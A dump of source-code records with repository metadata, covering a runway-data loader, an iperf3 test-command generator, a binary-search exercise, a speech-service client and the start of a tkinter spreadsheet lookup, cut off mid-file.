Optional[RunwaysType] = None\n assert self.cache_dir is not None\n self._cache = self.cache_dir / \"runways_ourairports.pkl\"\n\n @property\n def runways(self) -> RunwaysType:\n if self._runways is not None:\n return self._runways\n\n if not self._cache.exists():\n self.download_runways()\n\n last_modification = self._cache.lstat().st_mtime\n delta = pd.Timestamp(\"now\") - pd.Timestamp(last_modification * 1e9)\n if delta > cache_expiration:\n try:\n self.download_runways()\n except requests.ConnectionError:\n pass\n\n with self._cache.open(\"rb\") as fh:\n self._runways = pickle.load(fh)\n return self._runways\n\n def __getitem__(\n self, airport: Union[\"Airport\", str]\n ) -> Optional[RunwayAirport]:\n from .. import airports\n\n airport_: Optional[\"Airport\"] = (\n airports[airport] if isinstance(airport, str) else airport\n )\n if airport_ is None:\n return None\n elt = self.runways.get(airport_.icao, None)\n if elt is None:\n return None\n return RunwayAirport(runways=elt)\n\n def download_runways(self) -> None: # coverage: ignore\n from .. import session\n\n self._runways = dict()\n\n f = session.get(\"https://ourairports.com/data/runways.csv\", stream=True)\n total = int(f.headers[\"Content-Length\"])\n buffer = BytesIO()\n for chunk in tqdm(\n f.iter_content(1024),\n total=total // 1024 + 1 if total % 1024 > 0 else 0,\n desc=\"runways @ourairports.com\",\n ):\n buffer.write(chunk)\n\n buffer.seek(0)\n df = pd.read_csv(buffer)\n\n for name, _df in df.groupby(\"airport_ident\"):\n cur: List[Tuple[Threshold, Threshold]] = list()\n self._runways[name] = cur\n\n for _, line in _df.iterrows():\n lat0 = line.le_latitude_deg\n lon0 = line.le_longitude_deg\n name0 = line.le_ident\n lat1 = line.he_latitude_deg\n lon1 = line.he_longitude_deg\n name1 = line.he_ident\n\n if lat0 != lat0 or lat1 != lat1:\n # some faulty records here...\n continue\n\n brng0 = bearing(lat0, lon0, lat1, lon1)\n brng1 = bearing(lat1, lon1, lat0, lon0)\n brng0 = brng0 if brng0 > 0 else 360 + brng0\n brng1 = brng1 if brng1 > 0 else 360 + brng1\n\n thr0 = Threshold(lat0, lon0, brng0, name0)\n thr1 = Threshold(lat1, lon1, brng1, name1)\n cur.append((thr0, thr1))\n\n with self._cache.open(\"wb\") as fh:\n pickle.dump(self._runways, fh)\n\n def download_bluesky(self) -> None: # coverage: ignore\n from .. import session\n\n self._runways = dict()\n c = session.get(base_url + \"/apt.zip\")\n\n with ZipFile(BytesIO(c.content)).open(\"apt.dat\", \"r\") as fh:\n for line in fh.readlines():\n elems = (\n line.decode(encoding=\"ascii\", errors=\"ignore\")\n .strip()\n .split()\n )\n if len(elems) == 0:\n continue\n\n # 1: AIRPORT\n if elems[0] == \"1\":\n # Add airport to runway threshold database\n cur: List[Tuple[Threshold, Threshold]] = list()\n self._runways[elems[4]] = cur\n\n if elems[0] == \"100\":\n # Only asphalt and concrete runways\n if int(elems[2]) > 2:\n continue\n\n lat0 = float(elems[9])\n lon0 = float(elems[10])\n # offset0 = float(elems[11])\n\n lat1 = float(elems[18])\n lon1 = float(elems[19])\n # offset1 = float(elems[20])\n\n # threshold information:\n # ICAO code airport,\n # Runway identifier,\n # latitude, longitude, bearing\n # vertices: gives vertices of the box around the threshold\n\n # opposite runways are on the same line.\n # RWY1: 8-11, RWY2: 17-20\n # Hence, there are two thresholds per line\n # thr0: First lat0 and lon0, then lat1 and lat1, offset=[11]\n # thr1: First lat1 and lat1, then lat0 and lon0, offset=[20]\n\n brng0 = bearing(lat0, lon0, lat1, lon1)\n brng1 = bearing(lat1, lon1, lat0, lon0)\n brng0 = brng0 if brng0 > 0 else 360 + brng0\n brng1 = brng1 if brng1 > 0 else 360 + brng1\n\n thr0 = Threshold(lat0, lon0, brng0, elems[8])\n thr1 = Threshold(lat1, lon1, brng1, elems[17])\n cur.append((thr0, thr1))\n\n with self._cache.open(\"wb\") as fh:\n pickle.dump(self._runways, fh)\n", "repo_name": "xoolive/traffic", "sub_path": "src/traffic/data/basic/runways.py", "file_name": "runways.py", "file_ext": "py", "file_size_in_byte": 10311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 325, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 38, "usage_type": "name"}, {"api_name": "pitot.geodesy.bearing", "line_number": 41, "usage_type": "name"}, {"api_name": "core.mixins.PointMixin", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 50, "usage_type": "name"}, {"api_name": "core.mixins.HBoxMixin", "line_number": 53, "usage_type": "name"}, {"api_name": "core.mixins.ShapelyMixin", "line_number": 53, "usage_type": "name"}, {"api_name": "core.mixins.DataFrameMixin", "line_number": 53, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 56, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 59, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 72, "usage_type": "name"}, {"api_name": "shapely.ops.linemerge", "line_number": 89, "usage_type": "call"}, {"api_name": "shapely.geometry.shape", "line_number": 89, "usage_type": "call"}, {"api_name": "shapely.geometry.base.BaseGeometry", "line_number": 88, "usage_type": "attribute"}, {"api_name": "shapely.geometry.base", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 99, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 106, "usage_type": "call"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 118, "usage_type": "call"}, {"api_name": "pitot.geodesy.destination", "line_number": 129, "usage_type": "call"}, {"api_name": "pitot.geodesy.destination", "line_number": 134, "usage_type": "call"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 136, "usage_type": "call"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 141, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 145, "usage_type": "name"}, {"api_name": "altair.Chart", "line_number": 158, "usage_type": "call"}, {"api_name": "altair.datum", "line_number": 162, "usage_type": "attribute"}, {"api_name": "pitot.geodesy.bearing", "line_number": 163, "usage_type": "name"}, {"api_name": "pitot.geodesy.bearing", "line_number": 165, "usage_type": "name"}, {"api_name": "altair.layer", "line_number": 168, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 174, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 177, "usage_type": "name"}, {"api_name": "pandas.Timestamp", "line_number": 190, "usage_type": "call"}, {"api_name": "requests.ConnectionError", "line_number": 194, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 198, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 202, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 206, "usage_type": "name"}, {"api_name": "{'PlateCarree': 'cartopy.crs.PlateCarree', 'alt': 'altair'}", "line_number": 214, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 203, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 223, "usage_type": "call"}, {"api_name": "tqdm.rich.tqdm", "line_number": 224, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 232, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 235, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 235, "usage_type": "name"}, {"api_name": "pitot.geodesy.bearing", "line_number": 250, "usage_type": "call"}, {"api_name": "pitot.geodesy.bearing", "line_number": 251, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 260, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 268, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 268, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 281, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 281, "usage_type": "name"}, {"api_name": "pitot.geodesy.bearing", "line_number": 309, "usage_type": "call"}, {"api_name": "pitot.geodesy.bearing", "line_number": 310, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 319, "usage_type": "call"}]} {"seq_id": "6787052144", "text": "from dataclasses import dataclass\nfrom typing import List\nimport threading\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom time import sleep\nfrom typing import List, TypeVar, Any, Callable, Type, cast, Dict\n\nimport iperf3\nimport sys, getopt\nimport json\nimport logging\nimport os, sys\nimport TestConfigConstant as TC\nimport TestUtil as tu\nimport math\n\nlogger = logging.getLogger('SSHDeployer')\nhdlr = logging.FileHandler('../log/SSHDeployer.log')\nformatter = logging.Formatter('[%(asctime)s] p%(process)s {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s','%m-%d %H:%M:%S')\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr)\nlogger.setLevel(logging.INFO)\n\n\n# this function converts flow colume to bytes. For example 1M will return 1024*1024\ndef volumeAmmountToBytesConverter(volume):\n if str(volume).endswith(\"M\"): #It was expressed in M\n flowVolumeDigOnly = str(volume)[0:len(str(volume))-1]\n flowInBytes = int(flowVolumeDigOnly) * 1024 * 1024\n return flowInBytes\n elif str(volume).endswith(\"K\"): #It was expressed in K\n flowVolumeDigOnly = str(volume)[0:len(str(volume))-1]\n flowInBytes = int(flowVolumeDigOnly) * 1024\n return flowInBytes\n else: # Else volume was expressed in simple Bytes only.\n return int(volume)\n\n\ndef flowVloumeToBlockCountConverter(flowVolumeAsString, blockSize):\n flowVolumeAsBytes = volumeAmmountToBytesConverter(flowVolumeAsString)\n blocksizeInBytes = volumeAmmountToBytesConverter(blockSize)\n blockcount = math.ceil(flowVolumeAsBytes/blocksizeInBytes)\n return blockcount\n\n\n\ndef randomAllHostsTestPairCreator(nameToHostMap):\n srcList = []\n destList=[]\n for srcHostName in nameToHostMap:\n srcHost = nameToHostMap.get(srcHostName)\n hostIndex, leafSwitchIndex, podIndex = srcHost.getLocationIndexes()\n peerName = tu.getPeerHostName(hostIndex, leafSwitchIndex, podIndex,TC.MAX_PORT_COUNT)\n peerHostObject = nameToHostMap.get(peerName)\n if (srcHost!=None) and (peerHostObject != None):\n srcList.append(srcHost)\n destList.append((peerHostObject))\n print(\"Src: \"+srcHostName+\" peer host:\"+peerName)\n return srcList, destList\n\n\n\nT = TypeVar(\"T\")\nEnumT = TypeVar(\"EnumT\", bound=Enum)\n\n\ndef from_str(x: Any) -> str:\n assert isinstance(x, str)\n return x\n\n\ndef from_int(x: Any) -> int:\n assert isinstance(x, int) and not isinstance(x, bool)\n return x\n\n\ndef from_list(f: Callable[[Any], T], x: Any) -> List[T]:\n assert isinstance(x, list)\n return [f(y) for y in x]\n\n\ndef to_class(c: Type[T], x: Any) -> dict:\n assert isinstance(x, c)\n return cast(Any, x).to_dict()\n\n\ndef to_enum(c: Type[EnumT], x: Any) -> EnumT:\n assert isinstance(x, c)\n return x.value\n\ndef from_stringified_bool(x: str) -> bool:\n if x == \"true\":\n return True\n if x == \"false\":\n return False\n assert False\n\ndef from_dict(f: Callable[[Any], T], x: Any) -> Dict[str, T]:\n assert isinstance(x, dict)\n return { k: f(v) for (k, v) in x.items() }\n\n@dataclass\nclass BasicElement:\n name: str\n ips: List[str]\n\n @staticmethod\n def from_dict(obj: Any) -> 'BasicElement':\n assert isinstance(obj, dict)\n name = from_str(obj.get(\"name\"))\n ips = from_list(from_str, obj.get(\"ips\"))\n return BasicElement(name, ips)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"name\"] = from_str(self.name)\n result[\"ips\"] = from_list(from_str, self.ips)\n return result\n\n\n@dataclass\nclass FabricHostConfig:\n mac: str\n location: str\n\n @staticmethod\n def from_dict(obj: Any) -> 'FabricHostConfig':\n assert isinstance(obj, dict)\n mac = from_str(obj.get(\"mac\"))\n location = from_str(obj.get(\"location\"))\n return FabricHostConfig(mac, location)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"mac\"] = from_str(self.mac)\n result[\"location\"] = from_str(self.location)\n return result\n\n\n@dataclass\nclass Host:\n hostName : str\n basic: BasicElement\n fabric_host_config: FabricHostConfig\n\n def __init__(self,hostName, basic, fabric_host_config):\n self.hostName = hostName\n self.basic = basic\n self.fabric_host_config = fabric_host_config\n self.portToLeafSwitchMap = {}\n self.iperf3ClientPortStart = TC.IPERF3_CLIENT_PORT_START\n self.iperf3ServerPortStart = TC.IPERF3_SERVER_PORT_START\n self.clientCommands=[] # These commands are supposed to be executed in this host as server\n self.serverCommands=[]# These commands are supposed to be executed in this host as client\n\n def getAllServerCommands(self):\n serverCommands = []\n for c in self.serverCommands:\n serverCommands.append(c.serverCmdString)\n return serverCommands\n\n def getAllClientCommands(self):\n cleintCommands = []\n for c in self.clientCommands:\n cleintCommands.append(c.clientCmdString)\n return cleintCommands\n\n\n def getNextIPerf3ServerPort(self):\n self.iperf3ServerPortStart = self.iperf3ServerPortStart+1\n return self.iperf3ServerPortStart\n\n def getNextIPerf3ClientPort(self):\n self.iperf3ClientPortStart = self.iperf3ClientPortStart+1\n return self.iperf3ClientPortStart\n\n\n @staticmethod\n def from_dict( obj: Any) -> 'Host':\n assert isinstance(obj, dict)\n basic = BasicElement.from_dict(obj.get(\"basic\"))\n fabric_host_config = FabricHostConfig.from_dict(obj.get(\"fabricHostConfig\"))\n return Host(basic.name,basic, fabric_host_config)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"basic\"] = to_class(BasicElement, self.basic)\n result[\"fabricHostConfig\"] = to_class(FabricHostConfig, self.fabric_host_config)\n return result\n def getLocationIndexes(self):\n hostIndex=self.basic.name[self.basic.name.index(\"h\")+1: self.basic.name.index(\"p\")]\n podIndex = self.basic.name[self.basic.name.index(\"p\")+1: self.basic.name.index(\"l\")]\n leafSwitchIndex=self.basic.name[self.basic.name.index(\"l\")+1: len(self.basic.name)]\n return hostIndex, leafSwitchIndex, podIndex\n\n\n\ndef loadCFG(cfgfileName):\n nameToHostMap = {}\n cfgFile = open(cfgfileName)\n obj = json.load(fp=cfgFile)\n for hostMac in obj[\"hosts\"]:\n h = Host.from_dict( obj[\"hosts\"][hostMac])\n nameToHostMap[h.basic.name] = h\n cfgFile.close()\n print(\"Printing the map\",nameToHostMap)\n logger.info(\"Finished reading and loading cfg\")\n return nameToHostMap\n\n\nclass IPerfDeplymentPair:\n def __init__(self,src, dest, srcPort, destPort, flowInfo, testCaseName):\n self.flowInfo = flowInfo\n self.src = src\n self.srcIP = src.basic.ips[0]\n self.dest = dest\n self.destIP = dest.basic.ips[0]\n self.srcPort = srcPort\n self.destPort = destPort\n self.testCaseName = testCaseName\n\n def generateIPerf3Command(self,nameToHostMap):\n blockSize = \"1024\"\n self.clientSideTestResultFileName = TC.TEST_RESULT_FOLDER + \"/\" + self.testCaseName +\"/\"+ str(self.src.hostName) + \"-\" + str(self.dest.hostName)\n self.serverSideTestResultFileName = TC.TEST_RESULT_FOLDER+\"/\"+self.testCaseName+\"/\"+str(self.dest.hostName)+\"-server\"\n\n\n\n #self.testResultFileName = \"./\"+self.testCaseName+\"-\"+str(self.src.hostName)+\"-\"+str(self.dest.hostName)\n #print(self.testResultFileName)\n # build the iperf3 server command for daemon mode with only one try for connection. dest is the server here. iperf3 -s -D\n self.serverCmdString = \"iperf3 --server --port \"+str(self.destPort) +\" --json --logfile \"+self.serverSideTestResultFileName+\" &\"\n #self.serverCmdString = \"ls -la\"\n #print(self.serverCmdString) \n # build the iperf3 client command for daemon mode with only one try for connection. Src is the client here\n #/home/deba/Desktop/bmv2-p0s1.log.2.txt\n if self.flowInfo.flow_type == \"tcp\":\n # Build iperf3 client command for tcp\n self.clientCmdString = \"python3 /home/deba/Desktop/PyDcnTE/testAndMeasurement/HostFlowStarter.py \\\"iperf3 --client \" + str(self.destIP) +\" --port \" + str(self.destPort) +\" --cport \" + str(self.srcPort)#+\" -f K \"\n #self.clientCmdString= self.clientCmdString + \" -n \"+ str(self.flowInfo.flow_volume) + \" --set-mss \"+str(self.flowInfo.pkt_size) + \" --window \"+str(self.flowInfo.src_window_size)+\" \"\n #self.clientCmdString= self.clientCmdString + \" -t 20 -n 2 -l 50\" + \" --set-mss \"+str(self.flowInfo.pkt_size) + \" --window \"+str(self.flowInfo.src_window_size)+\" \"\n self.clientCmdString = self.clientCmdString+ \" --connect-timeout 9999 \"\n self.clientCmdString= self.clientCmdString + \" \" + \" --set-mss \"+str(self.flowInfo.pkt_size) + \" -w \"+str(self.flowInfo.src_window_size)\n self.clientCmdString= self.clientCmdString + \" -n \"+ str(self.flowInfo.flow_volume)\n #self.clientCmdString= self.clientCmdString + \" --set-mss \"+str(self.flowInfo.pkt_size) + \" --window \"+str(self.flowInfo.src_window_size)+\" \"\n #self.clientCmdString= self.clientCmdString + \" -k \"+ str(flowVloumeToBlockCountConverter(self.flowInfo.flow_volume, blockSize))+ \" -b \"+ str(self.flowInfo.src_data_rate) + \" -l \"+blockSize+\" \"\n self.clientCmdString= self.clientCmdString +\" --json --logfile \"+ self.clientSideTestResultFileName + \" &\\\" \"\n #self.clientCmdString= self.clientCmdString +\" --logfile \"+ self.clientSideTestResultFileName + \" &\\\" \"\n pass\n elif self.flowInfo.flow_type == \"udp\":\n self.clientCmdString = \"python3 /home/deba/Desktop/PyDcnTE/testAndMeasurement/HostFlowStarter.py \\\"iperf3 --client \" + str(self.destIP) +\" --port \" + str(self.destPort) +\" --cport \" + str(self.srcPort) +\" --json --logfile \" + self.clientSideTestResultFileName + \" &\\\" \"\n pass\n else:\n print(\"flow type: \"+ self.flowInfo.flow_type + \" is not supported yet\" )\n exit(1)\n #print(self.clientCmdString)\n self.dest.serverCommands.append(self)\n self.src.clientCommands.append(self)\n return\n\n\n\n@dataclass\nclass Flow:\n flow_type: str\n flow_volume: str\n src_window_size: str\n src_data_rate: str\n pkt_size: int\n is_interactive: bool\n\n @staticmethod\n def from_dict(obj: Any) -> 'Flow':\n assert isinstance(obj, dict)\n flow_type = from_str(obj.get(\"flow_type\"))\n flow_volume = from_str(obj.get(\"flow-volume\"))\n src_window_size = from_str(obj.get(\"src-window-size\"))\n src_data_rate = from_str(obj.get(\"src-data-rate\"))\n pkt_size = int(from_str(obj.get(\"pkt-size\")))\n is_interactive = from_stringified_bool(from_str(obj.get(\"is-interactive\")))\n return Flow(flow_type, flow_volume, src_window_size, src_data_rate, pkt_size, is_interactive)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"flow_type\"] = from_str(self.flow_type)\n result[\"flow-volume\"] = from_str(self.flow_volume)\n result[\"src-window-size\"] = from_str(self.src_window_size)\n result[\"src-data-rate\"] = from_str(self.src_data_rate)\n result[\"pkt-size\"] = from_str(str(self.pkt_size))\n result[\"is-interactive\"] = from_str(str(self.is_interactive).lower())\n return result\n\n\n@dataclass\nclass SrcDstPair:\n src: str\n dest: str\n pattern : str\n flows: List[Flow]\n\n @staticmethod\n def from_dict(obj: Any) -> 'SrcDstPair':\n assert isinstance(obj, dict)\n src = from_str(obj.get(\"src\"))\n dest = from_str(obj.get(\"dest\"))\n pattern = from_str(obj.get(\"pattern\"))\n flows = from_list(Flow.from_dict, obj.get(\"flows\"))\n return SrcDstPair(src, dest, pattern, flows)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"src\"] = from_str(self.src)\n result[\"dest\"] = from_str(self.dest)\n result[\"pattern\"] = from_str(self.pattern)\n result[\"flows\"] = from_list(lambda x: to_class(Flow, x), self.flows)\n return result\n def generatePair(self,test_case_name, nameToHostMap):\n self.testCaseName= test_case_name\n srcList = []\n destList = []\n if self.pattern.lower() == \"one-to-one\":\n srcList.append(nameToHostMap.get(self.src))\n destList.append(nameToHostMap.get(self.dest))\n elif self.pattern.lower() == \"random-same-pod\":\n pass\n elif self.pattern.lower() == \"random-same-leaf\":\n pass\n elif self.pattern.lower() == \"all-hosts\":\n srcList, destList = randomAllHostsTestPairCreator(nameToHostMap)\n pass\n else:\n logger.error(\"Given patttern not supported yet. Exiting\")\n exit(1)\n\n deploymentPairList= []\n for f in self.flows:\n #We expect that for each src there will be a dest. so srclist and dest list will be equal in size. and i'th index of srclist will connect with i'th indexed element fo dstList; Otherwise there is some error\n if (len(srcList) != len(destList)):\n logger.error(\"Srclist and dest list is not equal in length. Printing them and exiting\")\n logger.error(srcList)\n logger.error(destList)\n exit(1)\n else:\n i = 0\n for i in range(0, len(srcList)):\n newDeploymentPair = IPerfDeplymentPair(srcList[i], destList[i], srcList[i].getNextIPerf3ClientPort(), destList[i].getNextIPerf3ServerPort(),f, self.testCaseName)\n deploymentPairList.append(newDeploymentPair)\n return deploymentPairList\n\n@dataclass\nclass Test:\n test_case_name: str\n src_dst_pairs: List[SrcDstPair]\n\n @staticmethod\n def from_dict(obj: Any) -> 'Test':\n assert isinstance(obj, dict)\n test_case_name = from_str(obj.get(\"testCaseName\"))\n src_dst_pairs = from_list(SrcDstPair.from_dict, obj.get(\"src-dst-pairs\"))\n return Test(test_case_name, src_dst_pairs)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"testCaseName\"] = from_str(self.test_case_name)\n result[\"src-dst-pairs\"] = from_list(lambda x: to_class(SrcDstPair, x), self.src_dst_pairs)\n return result\n\n def getIPerfCommand(self,nameToHostMap):\n # foreach scrc-dest-pair\n # login to src\n # foreach of the flows\n # build corresponding cmdString and deploy\n\n for srcDestPair in self.src_dst_pairs:\n deploymentPairList=srcDestPair.generatePair(self.test_case_name,nameToHostMap)\n for depPair in deploymentPairList:\n # Generate the src (iperf client) and dest (iperf3 server ) sommand for each deployment pair\n depPair.generateIPerf3Command(nameToHostMap)\n # for each flow --> allocate a port in the dest host for server side communication and one for client sidecommunication in clinet side\n # Build a list of object for server side commands and client side commands.\n # This list will be saved in each host's map.\n #at last we will deploy everything in a host at once --> at first server side then client side\n\n\n@dataclass\nclass TestConfigs:\n tests: List[Test]\n\n @staticmethod\n def from_dict(obj: Any) -> 'Welcome':\n assert isinstance(obj, dict)\n tests = from_list(Test.from_dict, obj.get(\"TESTS\"))\n return TestConfigs(tests)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"TESTS\"] = from_list(lambda x: to_class(Test, x), self.tests)\n return result\n def genIPerfCommands(self, nameToHostMap):\n for t in self.tests:\n t.getIPerfCommand(nameToHostMap)\n\n\n", "repo_name": "drobinkent/P4TE-Release", "sub_path": "out/production/PyDcnTE/TestConfig.py", "file_name": "TestConfig.py", "file_ext": "py", "file_size_in_byte": 15844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 23, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 43, "usage_type": "call"}, {"api_name": "TestUtil.getPeerHostName", "line_number": 54, "usage_type": "call"}, {"api_name": "TestConfigConstant.MAX_PORT_COUNT", "line_number": 54, "usage_type": "attribute"}, {"api_name": "typing.TypeVar", "line_number": 64, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 65, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 68, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 85, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 85, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 109, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 128, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 122, "usage_type": "name"}, {"api_name": "TestConfigConstant.IPERF3_CLIENT_PORT_START", "line_number": 152, "usage_type": "attribute"}, {"api_name": "TestConfigConstant.IPERF3_SERVER_PORT_START", "line_number": 153, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 180, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 141, "usage_type": "name"}, {"api_name": "json.load", "line_number": 202, "usage_type": "call"}, {"api_name": "TestConfigConstant.TEST_RESULT_FOLDER", "line_number": 225, "usage_type": "attribute"}, {"api_name": "TestConfigConstant.TEST_RESULT_FOLDER", "line_number": 226, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 274, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 264, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 300, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 303, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 295, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 354, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 357, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 351, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 388, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 391, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 386, "usage_type": "name"}]} {"seq_id": "72685297824", "text": "from typing import List\n\n\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n start = 0\n end = len(nums) # exclude\n # end = len(nums) - 1 # include\n while start < end: # exclude\n # while start <= end: # include\n middle = (start + end) // 2\n if nums[middle] == target:\n return middle\n elif nums[middle] > target:\n end = middle # exclude\n # end = middle - 1 # include\n else:\n start = middle + 1\n return start\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/Array/SearchInsertPosition/BinarySearch035.py", "file_name": "BinarySearch035.py", "file_ext": "py", "file_size_in_byte": 588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]} {"seq_id": "72960284063", "text": "import requests\ndef syn(text):#合成语音\n url = 'http://113.103.196.224:5000/synthesis'#113.103.196.224\n d = {'text': text}\n r = requests.post(url, data=d)\n #print(r.headers)\n music = r.content\n with open('hecheng.wav', 'wb') as file: #保存到本地的文件名\n file.write(music)\n\ndef asr(path_filename):#识别音频\n url = 'http://113.103.196.224:5000/asr'\n files={'file':open(path_filename,'rb')}\n r=requests.post(url,files=files)\n if r.text!='error':\n temp=r.text.split('\\n')\n print(temp[0])\n print(temp[1])\n else:\n print('音频太长,不能超过16秒')\n\nif __name__=='__main__':\n asr('D:\\\\语音测试\\\\语音识别\\\\01.wav')\n syn('杜渡是大帅哥！')\n", "repo_name": "LZ-QWQ/QAQQAQ", "sub_path": "语音测试 real-new/语音测试/语音识别/synthesis_server.py", "file_name": "synthesis_server.py", "file_ext": "py", "file_size_in_byte": 743, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.post", "line_number": 5, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 14, "usage_type": "call"}]} {"seq_id": "14680641803", "text": "import tkinter as tk\r\nfrom tkinter import messagebox\r\nfrom PIL import ImageTk, Image\r\nimport openpyxl\r\n\r\ndef on_submit(): \r\n if entry1.get() and entry2.get() and entry3.get():\r\n values = [entry1.get(), entry2.get(), entry3.get()]\r\n result = \"-\".join(values)\r\n print(\"제출된 값으로 문자열 생성:\", result)\r\n\r\n # 엑셀 파일 읽기\r\n try:\r\n # 워크북 로드\r\n wb = openpyxl.load_workbook('kr_user.xlsx', data_only=True)\r\n sheet = wb.active\r\n\r\n # 첫 번째 열 (A)의 모든 값을 리스트로 가져오기\r\n column_a_values = [cell.value for cell in sheet['A']]\r\n\r\n if result in column_a_values:\r\n # 결과가 첫 번째 열 (A)에서 발견된 경우 해당 행의 번호 찾기\r\n row_num = column_a_values.index(result) + 1\r\n\r\n # 해당 행에서 열 A, B, C의 값을 가져오기\r\n values_a_b_c = [sheet.cell(row=row_num, column=col_num).value for col_num in range(1, 4)]\r\n 